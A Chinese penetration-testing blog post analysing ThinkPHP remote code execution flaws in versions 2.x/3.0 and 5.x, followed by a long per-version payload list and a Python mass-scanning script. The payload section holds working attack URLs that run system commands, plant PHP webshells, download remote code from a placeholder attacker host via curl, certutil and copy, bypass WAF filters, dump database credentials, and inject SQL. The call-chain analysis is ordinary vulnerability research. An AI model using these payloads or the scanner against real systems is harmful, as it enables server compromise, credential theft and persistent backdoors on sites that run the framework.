

Drunkmars's Blog

Drunkmars's Blog

thinkphp漏洞分析与总结



thinkphp漏洞分析与总结

web渗透 thinkphp

字数统计: 5k阅读时长: 22 min

 2021/04/14   Share

• 
• 
• 
• 
• 

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，遵循Apache2开源协议发布，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP 5.0以上版本，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

ThinkPHP发展至今，核心版本主要有以下几个系列，ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列，各个系列之间在代码实现及功能方面，有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护，ThinkPHP 5系列现使用最多，而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示：

高危漏洞介绍

通过对ThinkPHP漏洞的收集和整理，过滤出其中的高危漏洞，可以得出如下列表：

从上表数据来看，ThinkPHP 3系列版本的漏洞多是2016/2017年被爆出，而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出，从2020年开始，ThinkPHP 6系列的漏洞也开始被挖掘。

从中可以看出，ThinkPHP近年出现的高风险漏洞主要存在于框架中的函数，这些漏洞均需要在二次开发的过程中使用了这些风险函数方可利用，所以这些漏洞更应该被称为框架中的风险函数，且这些风险点大部分可导致SQL注入漏洞，所以，开发者在利用ThinkPHP进行Web开发的过程中，一定需要关注这些框架的历史风险点，尽量规避这些函数或者版本，则可保证web应用的安全性。

漏洞利用链

暴露面梳理

根据ThinkPHP的历史高危漏洞，梳理出分版本的攻击风险点，开发人员可根据以下图标，来规避ThinkPHP的风险版本，如下ThinkPHP暴露面脑图。

利用链总结

基于暴露面脑图，我们可以得出几种可以直接利用的ThinkPHP框架漏洞利用链，不需要进行二次开发。

ThinkPHP 2.x/3.0 GetShell

ThinkPHP低于3.0 - GetShell

ThinkPHP 低版本可以使用以上漏洞执行任意系统命令，获取服务器权限。

ThinkPHP 5.0 GetShell

ThinkPHP 5.0.x - GetShell

首先明确ThinkPHP框架系列版本。

根据ThinkPHP版本，如是0.x版本，即可使用ThinkPHP 5.x远程代码执行漏洞，无需登录，即可执行任意命令，获取服务器最高权限。

ThinkPHP 5.1 GetShell

ThinkPHP 5.1.x - GetShell

首先明确ThinkPHP框架系列版本。

根据ThinkPHP版本，如是1.x版本，即可使用ThinkPHP 5.x远程代码执行漏洞1，无需登录，即可执行任意命令，获取服务器最高权限。

如需使用ThinkPHP 5.x远程代码执行漏洞2，则需要php文件中跳过报错提示，即 文件中有语句：“error_reporting(0);”，故该漏洞在5.1.x系列版本利用需要满足以上前提，利用较难。

高危利用漏洞分析

从高危漏洞列表中，针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。

ThinkPHP 2.x/3.0远程代码执行漏洞

漏洞概要

漏洞名称：ThinkPHP 2.x/3.0远程代码执行

参考编号：无

威胁等级：高危

影响范围：ThinkPHP 2.x/3.0

漏洞类型：远程代码执行

利用难度：简单

漏洞描述

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架。Dispatcher.class.php中res参数中使用了preg_replace的/e危险参数，使得preg_replace第二个参数就会被当做php代码执行，导致存在一个代码执行漏洞，攻击者可以利用构造的恶意URL执行任意PHP代码。

漏洞分析

漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中，ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由，我们都知道，preg_replace的/e模式，和php双引号都能导致代码执行的，即漏洞触发点在102行的解析url路径的preg_replace函数中。代码如下：

该代码块首先检测路由规则，如果没有制定规则则按照默认规则进行URL调度，在preg_replace()函数中，正则表达式中使用了/e模式，将“替换字符串”作为PHP代码求值，并用其结果来替换所搜索的字符串。

正则表达式可以简化为“\w+/([^/])”，即搜索获取“/”前后的两个参数，$var[‘\1’]=”\2”;是对数组的操作，将之前搜索到的第一个值作为新数组的键，将第二个值作为新数组的值，我们发现可以构造搜索到的第二个值，即可执行任意PHP代码，在PHP中，我们可以使用${}里面可以执行函数，然后我们在thinkphp的url中的偶数位置使用${}格式的php代码，即可最终执行thinkphp任意代码执行漏洞，如下所示：

index.php?s=a/b/c/${code}

index.php?s=a/b/c/${code}/d/e/f

index.php?s=a/b/c/d/e/${code}

由于ThinkPHP存在两种路由规则，如下所示

1. http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]

2. 如果不支持PATHINFO的服务器可以使用兼容模式访问如下：

3. http://serverName/index.php?s=/模块/控制器/操作/[参数名/参数值...]

也可采用 index.php/a/b/c/${code}一下形式。

ThinkPHP 5.x 远程代码执行漏洞1

漏洞概要

漏洞名称：ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞

参考编号：无

威胁等级：严重

影响范围：ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31

漏洞类型：远程代码执行

利用难度：容易

漏洞描述

2018年12月10日，ThinkPHPv5系列发布安全更新，修复了一处可导致远程代码执行的严重漏洞。此次漏洞由ThinkPHP v5框架代码问题引起，其覆盖面广，且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多，需要格外关注。由于ThinkPHP v5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接进行远程的代码执行，进而获得服务器权限。

漏洞分析

本次ThinkPHP 5.0的安全更新主要是在library/think/APP.php文件中增加了对控制器名的限制，而ThinkPHP 5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了对控制器名的限制。

从以上补丁更新可知，该漏洞的根源在于框架对控制器名没有进行足够的检测，从而会在未开启强制路由的情况下被引入恶意外部参数，造成远程代码执行漏洞。

由ThinkPHP的架构可知，控制器（controller）是通过url中的路由进行外部传入的，即/index.php?s=/模块/控制器/操作/[参数名/参数值…]，控制器作为可控参数，经过library/think/APP.php文件进行处理，我们跟踪路由处理的逻辑，来完整看一下该漏洞的整体调用链：

首先在run()主函数中，url传入后需要经过路由检查，如下代码所示：

跟进 self::routeCheck 函数

在 620行 中调用 $request->path() 函数，该函数位于thinkphp/library/think/Request.php文件中,在该函数中跟进到本文件的$this->pathinfo()函数，在该函数中，就进行url解析，获取路由中的各个部分内容。

其中var_pathinfo参数即为系统默认参数，默认值为s，通过GET方法将获取到的var_pathinfo的值，即s=/模块/控制器/操作/[参数名/参数值…]的内容送到routeCheck()函数中$path参数进行路由检查处理。

继续回到routeCheck()函数：

在初始化路由检查配置之后，就进行Route::check，由以上代码看出，若路由寻不到对应操作，即返回$result=false，且开启了强制路由$must的情况下，就会抛出异常，并最终进入Route::parseUrl函数，进行$path解析，以上就进入了我们的漏洞触发点：

首先，在该函数中进行url解析，然后，进入到parseUrlPath函数，根据/进行路由地址切割，通过数组返回：

最终在parseUrl函数中，将返回的$path提取出路由，即module、controller、action，然后封装到$route后返回：

回到thinkphp/library/think/App.php文件的run()函数：

在完成RouteCheck后，进入到exec()函数中去：

在该函数中，首先路由信息首先进入module()函数进行检验，该函数首先查看该路由中的模块信息是否存在且是否存在于禁止的模块类表中：

模块存在的话，继续往下跟踪，分别将模块中的controller、actionName经过处理后赋值到$instance、$action，最终$instance、$action被赋值给了$call参数。

最终$call参数进入了self::invokeMethod()进行处理：

在函数中，通过反射ReflectionMethod获取controller(method[0])和action(method[1])对象下的方法，然后通过$args = self::bindParams($reflect, $vars);获取到传入参数。以上即为漏洞调用链。

我们根据Payload来进行最终攻击链的总结：

siteserver/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

根据上面的分析，我们将路由解析为：

module：index

controller：think\app

action：invokefunction

通过上述的利用链，最终通过反射ReflectionMethod进入到Think/app文件中的invokefunction方法中：

通过构造参数，最终即可执行任意代码。

ThinkPHP 5.x 远程代码执行漏洞2

漏洞概要

漏洞名称：ThinkPHP 5.0.x-5.1.x远程代码执行漏洞

参考编号：无

威胁等级：严重

影响范围：ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31

漏洞类型：远程代码执行漏洞

利用难度：容易

漏洞描述

2019年1月11日，某安全团队公布了一篇ThinkPHP 5.0.远程代码执行漏洞文档，公布了一个ThinkPHP 5.0.远程代码执行漏洞。文章中的该漏洞与2018年12月的ThinkPHP 5.0.*远程代码执行漏洞原理相似，攻击者可利用该漏洞在一定条件下获取目标服务器的最高权限。后经研究，在一定条件下，ThinkPHP 5.1.x版本也存在该漏洞，在满足条件的情况下，攻击者可利用该漏洞执行任意代码。

漏洞分析

该漏洞的漏洞关键点存在于thinkphp/library/think/Request.php文件中：

从代码中可知：

method()函数主要用于请求方法的判断，var_method没有通过，为可控参数，通过外部传入，thinkphp支持配置“表单伪装变量”，var_method在在外部的可控参数表现为_method:

由于var_method没有做任何过滤，我们可以通过控制_method参数的值来动态调用Request类中的任意方法，通过控制$_POST的值来向调用的方法传递参数。由上可知，漏洞存在于method()函数中，我们就需要寻找该函数的调用链，来构造POC。

第一个构造链在__construct()构造方法中，该方法如下：

函数中对$option数组进行遍历，当$option的键名为该类属性时，则将该类同名的属性赋值为$options中该键的对应值。因此可以构造请求如下，来实现对Request类属性值的覆盖，例如覆盖filter属性。filter属性保存了用于全局过滤的函数。

再上一个漏洞分析过程中，我们跟踪到了路由检查self::routeCheck 函数，在过程中，会进入到thinkphp/library/think/Route.php文件中的check()函数，函数中调用了method()方法，并将函数执行结果转换为小写后保存在$method变量。在调用构造函数覆盖变量时，可以直接覆盖method，这样上面的$method = strtolower($request->method()); 的$method最终的值就可以被控制了。

在该函数中，调用了method()函数，在该函数中，就将进行变量覆盖：

通过调用构造函数__construct(),最终将请求参数保存到input参数。

在进行routecheck后，已完成了第一部分调用链，实现了变量覆盖，接下来就是要实现变量覆盖后的代码执行，具体调用链如下：

返回到App.php文件中的run()函数，接着进入到exec()函数中，然后进入到module()函数中，最终进入到了invokeMethod()函数，

从invokeMethod()函数中进入到bindParams()函数，然后进入到param()函数：

然后最终调用到input()函数：

最终我们根据array_walk_recursive()函数，进入到了filterValue()函数：

最终，通过回调函数call_user_func执行了代码，整个调用链如上所示。

漏洞总结

thinkphp 5.0.5

waf对eval进行了拦截

禁止了assert函数

对eval函数后面的括号进行了正则过滤

对file_get_contents函数后面的括号进行了正则过滤

http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

thinkphp 5.0.10

(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

thinkphp 5.0.11

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

thinkphp 5.0.14

eval（’’）和assert（’’）被拦截，命令函数被禁止

http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();

http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));

php7.2

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>

写进去发现转义了尖括号

通过copy函数

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

thinkphp 5.0.18

windows

http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()

使用certutil

http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php

由于根目录没写权限，所以写到uploads

thinkphp 5.0.20

phpinfo

http://www.xxxx.com/index.php?
s=/Index/\think\app/invokefunction&function=call_user_func_a
rray&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行

http://www.xxxx.com/index.php?
s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=system&vars[1][]=whoami

写入webshell

http://www.xxxx.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=%3C%3Fphp%20eval(%24_POST%5Btest%5D)%3B%3F%3E

thinkphp 5.0.21

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.0.22

http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username

http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.0.23

(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

Debug模式

(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

thinkphp 5.1.18

http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>

所有目录都无写权限,base64函数被拦截

http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

thinkphp 5.1.*

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

thinkphp 5.1.和5.2和5.0*

(post)public/index.php (data)c=exec&f=calc.exe&_method=filter

thinkphp 未知版本

?s=index/\think\module/action/param1/${@phpinfo()}

?s=index/\think\Module/Action/Param/${@phpinfo()}

?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}

index.php?s=/home/article/view_recent/name/1'

header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"

index.php?s=/home/shopcart/getPricetotal/tag/1%27

index.php?s=/home/shopcart/getpriceNum/id/1%27

index.php?s=/home/user/cut/id/1%27

index.php?s=/home/service/index/id/1%27

index.php?s=/home/pay/chongzhi/orderid/1%27

index.php?s=/home/pay/index/orderid/1%27

index.php?s=/home/order/complete/id/1%27

index.php?s=/home/order/complete/id/1%27

index.php?s=/home/order/detail/id/1%27

index.php?s=/home/order/cancel/id/1%27

index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+

POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

当php7以上无法使用Assert的时候用

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();

有上传图片或者日志用这个包含就可以

批量检测脚本

漏洞poc:

https://github.com/heroanswer/thinkphp_rce_poc

批量检测脚本如下：

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: thinkphp远程代码检测
description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
'''


import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkphp_rce(threading.Thread):
    def __init__(self, q):
        threading.Thread.__init__(self)
        self.q = q
    def run(self):
        while not self.q.empty():
            url=self.q.get()
            headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
            payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
            vulnurl = url + payload
            try:
                response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
                
                soup = BeautifulSoup(response.text,"lxml")
                if 'PHP Version' in str(soup.text):
                    print ('[+] Remote code execution vulnerability exists at the target address')
                    print ('[+] Vulnerability url address ' + vulnurl)
                    with open('target.txt','a') as f1:
                        f1.write(vulnurl+'\n')
                    f1.close()
                else:
                    print ('[-] There is no remote code execution vulnerability in the target address')
            except:
                print ('[!] Destination address cannot be connected')
def urlget():
    with open('url.txt','r')as f:
        urls=f.readlines()
        for tmp in urls:
            if '//' in tmp:
                url=tmp.strip('\n')
                urlList.append(url)
            else:
                url='http://'+tmp.strip('\n')
                urlList.append(url)
        return(urlList)
    f.close()

if __name__=="__main__":
    print('''----------------扫描开始-------------------

*Made by  :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN


              _______   _                         _               
             |__   __| | |                       (_)              
                | |  __| |  ___  ___   _ __ ___   _  _ __    __ _ 
                | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                | || (_| || (__| (_) || | | | | || || | | || (_| |
                |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
                                                             __/ |
                                                            |___/ 
            ''')
    urlList=[]
    urlget()
    threads = []
    threads_count = 10
    q=queue.Queue()
    for url in urlList:
        q.put(url)
    for i in range(threads_count):
        threads.append(thinkphp_rce(q))
    for i in threads:
        i.start()
    for i in threads:
        i.join()

使用方法：

1、将要检测的目标放在url.txt里面

2、如果存在漏洞的地址将自动生成一个target.txt文本保存

原文作者：Drunkmars

原文链接：http://drunkmars.top/2021/04/14/thinkphp%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E6%80%BB%E7%BB%93/

发表日期：四月 14日 2021, 12:00:00 凌晨

更新日期：October 17th 2021, 6:14:15 pm

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

• Next Post
  浅谈域渗透中组策略及gpp运用
• Previous Post
  msf使用详解

Powered by Hexotheme Archer

PV: :)

CATALOG

1. 1. 高危漏洞介绍
2. 2. 漏洞利用链
   1. 2.1. 暴露面梳理
   2. 2.2. 利用链总结
      1. 2.2.1. ThinkPHP 2.x/3.0 GetShell
      2. 2.2.2. ThinkPHP 5.0 GetShell
      3. 2.2.3. ThinkPHP 5.1 GetShell
3. 3. 高危利用漏洞分析
   1. 3.1. ThinkPHP 2.x/3.0远程代码执行漏洞
      1. 3.1.1. 漏洞概要
      2. 3.1.2. 漏洞描述
      3. 3.1.3. 漏洞分析
   2. 3.2. ThinkPHP 5.x 远程代码执行漏洞1
      1. 3.2.1. 漏洞概要
      2. 3.2.2. 漏洞描述
      3. 3.2.3. 漏洞分析
4. 4. ThinkPHP 5.x 远程代码执行漏洞2
   1. 4.1. 漏洞概要
   2. 4.2. 漏洞描述
   3. 4.3. 漏洞分析
5. 5. 漏洞总结
   1. 5.1. thinkphp 5.0.5
   2. 5.2. thinkphp 5.0.10
   3. 5.3. thinkphp 5.0.11
   4. 5.4. thinkphp 5.0.14
   5. 5.5. php7.2
   6. 5.6. thinkphp 5.0.18
   7. 5.7. thinkphp 5.0.20
   8. 5.8. thinkphp 5.0.21
   9. 5.9. thinkphp 5.0.22
   10. 5.10. thinkphp 5.0.23
   11. 5.11. thinkphp 5.1.18
   12. 5.12. thinkphp 5.1.*
   13. 5.13. thinkphp 5.1.和5.2和5.0*
   14. 5.14. thinkphp 未知版本
   15. 5.15. 当php7以上无法使用Assert的时候用
6. 6. 批量检测脚本

• Archive
• Tag
• Cate

Total : 117

2022

• 05/14 浅谈EDR绕过
• 05/14 调用NtCreateUserProcess创建进程绕过杀软hook
• 05/12 ETW的攻与防
• 05/07 对抗无落地的shellcode注入
• 05/04 x64环境下隐藏可执行内存
• 05/01 深入理解注册表监控
• 04/30 windows环境下的自保护探究
• 04/29 64位下使用回调函数实现监控
• 04/16 通过嵌入x64汇编隐藏数据&反调试
• 04/13 构建API调用框架绕过杀软hook
• 04/10 windows环境下的反调试探究
• 04/07 浅谈hook攻防
• 04/04 通过硬件断点绕过hook检测
• 04/01 windows环境下的调试器探究
• 03/28 windows异常处理探究
• 03/22 ring0下使用内核重载绕过杀软hook
• 03/16 基于全局句柄表发现隐藏进程
• 03/03 基于PEB断链实现进程与模块隐藏
• 02/20 ring3下API的逆向分析及重构
• 02/17 shellcode编写探究
• 02/16 ring0下的Inline hook
• 02/15 ring0下的进程保护
• 02/14 进程强杀初探
• 01/17 URLDNS链探究
• 01/15 RMI探究
• 01/14 java反射探究
• 01/10 java反序列化探究

2021

• 12/05 关于抓取明文的探究
• 11/08 使用api创建计划任务详解
• 11/07 自删除技术的实现
• 11/05 CS中上线不出网主机
• 11/04 创建进程的几种方式
• 10/27 自启动技术详解
• 10/26 初探傀儡进程
• 10/25 socket的探究与实现
• 10/22 通过内存写入隐藏模块
• 10/21 初探进程伪装
• 10/21 关于进程隐藏的探究
• 10/19 关于bypassuac的探究
• 10/07 初探com劫持
• 10/04 CSV注入获取meterpreter
• 10/04 反沙箱调试
• 10/04 父进程伪造
• 10/04 调试与反调试的探究
• 10/03 初探dll劫持
• 10/01 关于几种dll注入的学习
• 09/26 浅谈内网转发与流量代理
• 09/13 记一次外网打点到内网渗透
• 09/12 hook技术详解
• 09/10 mysql提权总结
• 08/23 php漏洞大杂烩
• 08/20 struts2漏洞总结
• 08/16 tomcat漏洞大杂烩
• 08/09 红日靶场4
• 08/04 weblogic漏洞大杂烩
• 07/28 浅谈域环境下布置水坑实现hash窃取
• 07/21 红日靶场2
• 07/20 redis漏洞总结
• 07/19 spring漏洞总结
• 07/19 红日靶场3
• 07/06 红日靶场5
• 07/05 一种简单的反虚拟机调试方法
• 06/16 C++二叉树实现
• 06/15 C++链表实现
• 06/13 msf生成木马小结
• 06/11 certutil探究
• 06/10 横向移动总结
• 06/09 从mimikatz抓取密码学习攻防
• 06/08 LLMNR和NetBIOS欺骗攻击分析及防范
• 06/04 NULL、0、nullptr 区别分析
• 06/02 RPC提权
• 06/01 CVE-2019-1388 UAC提权
• 06/01 如何编写属于自己的第一个exp
• 05/29 读书笔记
• 05/28 vulnhub靶场实战
• 05/26 渗透测试中弹shell的多种方式及bypass
• 05/25 CVE-2020-1472详解
• 05/23 从外围打点到内网渗透拿下域控
• 05/19 内网渗透之向日葵妙用
• 05/12 Dedecms(织梦cms)漏洞分析及复现
• 05/12 Empirecms(帝国cms)漏洞分析及复现
• 05/11 CVE-2020-0796分析及利用
• 05/11 MS17_010检测及打法
• 05/11 木马解析&disable_fuctions
• 05/08 jboss之JMXInvokerServlet反序列化漏洞分析利用
• 05/08 内网穿透的n种姿势
• 05/06 文件上传bypass安全狗
• 04/28 cs加载宏上线初探
• 04/27 内网渗透之DPAPI机制学习
• 04/20 隐藏用户的创建和使用
• 04/19 利用卷影拷贝服务提取ntds.dit
• 04/17 中间人攻击之arp欺骗
• 04/15 浅谈域渗透中组策略及gpp运用
• 04/14 thinkphp漏洞分析与总结
• 04/13 msf使用详解
• 04/13 sql注入之超详细sqlmap使用攻略
• 04/10 windows认证解读
• 04/09 巧用smb beacon拿下不出网主机(红日靶场1)
• 04/08 phpmyadmin页面getshell
• 04/08 windows环境下抓密码总结
• 04/04 Stega
• 04/02 内网渗透命令
• 03/30 IPC命令&计划任务上线
• 03/29 常用端口总结
• 03/27 mysql离线解析密码
• 03/27 绕过CDN找源站ip
• 03/27 记一次php、sql注入学习后的一道ctf代码审计题复盘
• 03/26 小白的第一次sql实战
• 03/23 crackme001
• 03/21 certutil&wmic绕过
• 03/17 vps-java环境配置
• 03/16 Joomla框架搭建&远程代码执行(RCE)漏洞复现
• 03/16 jboss打入内网的四种方式
• 03/16 sqlmap在https下的一种错误 - ssl连接失败
• 03/14 汇编JCC指令表
• 03/13 README
• 03/13 写在最前

 内网渗透  cve  漏洞复现  C++  二进制  内核  cms  web渗透  private  横向移动  提权  windows  ctf  java  cobalt strike  apt  java中间件  msf命令  oa  中间件  mysql  sql  thinkphp  web  x64  环境配置  域渗透  碎碎念  bypass  php  靶场实战  权限维持



缺失模块，请参考主题文档进行安装配置：https://github.com/fi3ework/hexo-theme-archer#%E5%AE%89%E8%A3%85%E4%B8%BB%E9%A2%98

